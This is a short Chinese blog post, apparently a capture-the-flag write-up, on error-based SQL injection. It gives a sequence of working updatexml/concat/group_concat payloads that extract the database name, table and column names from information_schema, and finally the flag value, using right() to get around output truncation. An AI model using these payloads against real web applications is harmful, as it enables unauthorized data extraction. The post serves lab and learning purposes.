文章详细展示了如何通过SQL注入技巧，利用`updatexml`、`concat`、`group_concat`等函数从`sqli`数据库中提取表名、列名和特定flag字段的信息，以展示潜在的安全风险。
用到的函数
updatexml(1， ，1)
concat(0x7e, ,0x7e)
group_concat(目标值)
right(，32)
1
1'
1 union select updatexml(1,concat(0x7e,database(),0x7e),1)
1 union select updatexml(1,concat(0x7e,(select(group_concat(table_name))from information_schema.tables where table_schema='sqli'),0x7e),1)
1 union select updatexml(1,concat(0x7e,(select(group_concat(column_name))from information_schema.columns where table_schema='sqli' and table_name='flag'),0x7e),1)
1 union select updatexml(1,concat(0x7e,(select(group_concat(flag))from sqli.flag),0x7e),1)
1 union select updatexml(1,concat(0x7e,right((select(group_concat(flag))from sqli.flag),32),0x7e),1)
扫一扫
531
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
